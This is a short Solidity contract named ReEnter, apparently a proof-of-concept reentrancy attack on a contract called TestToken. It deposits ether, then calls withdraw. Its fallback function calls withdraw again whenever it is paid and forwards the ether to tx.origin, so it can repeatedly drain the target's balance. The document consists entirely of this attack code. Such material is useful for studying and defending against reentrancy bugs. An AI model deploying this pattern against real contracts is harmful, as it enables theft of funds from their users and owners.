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contract ReEnter {
    TestToken tt;
    
    function ReEnter(address _target){
        tt = TestToken(_target);
    }
    
    function deposit() payable {
        tt.deposit.value(msg.value)();
    }
    
    function withdraw() {
        tt.withdraw(50000000000000000);
    }
    
    function() payable {
        tt.withdraw(50000000000000000);
        tx.origin.send(msg.value);
    }    
}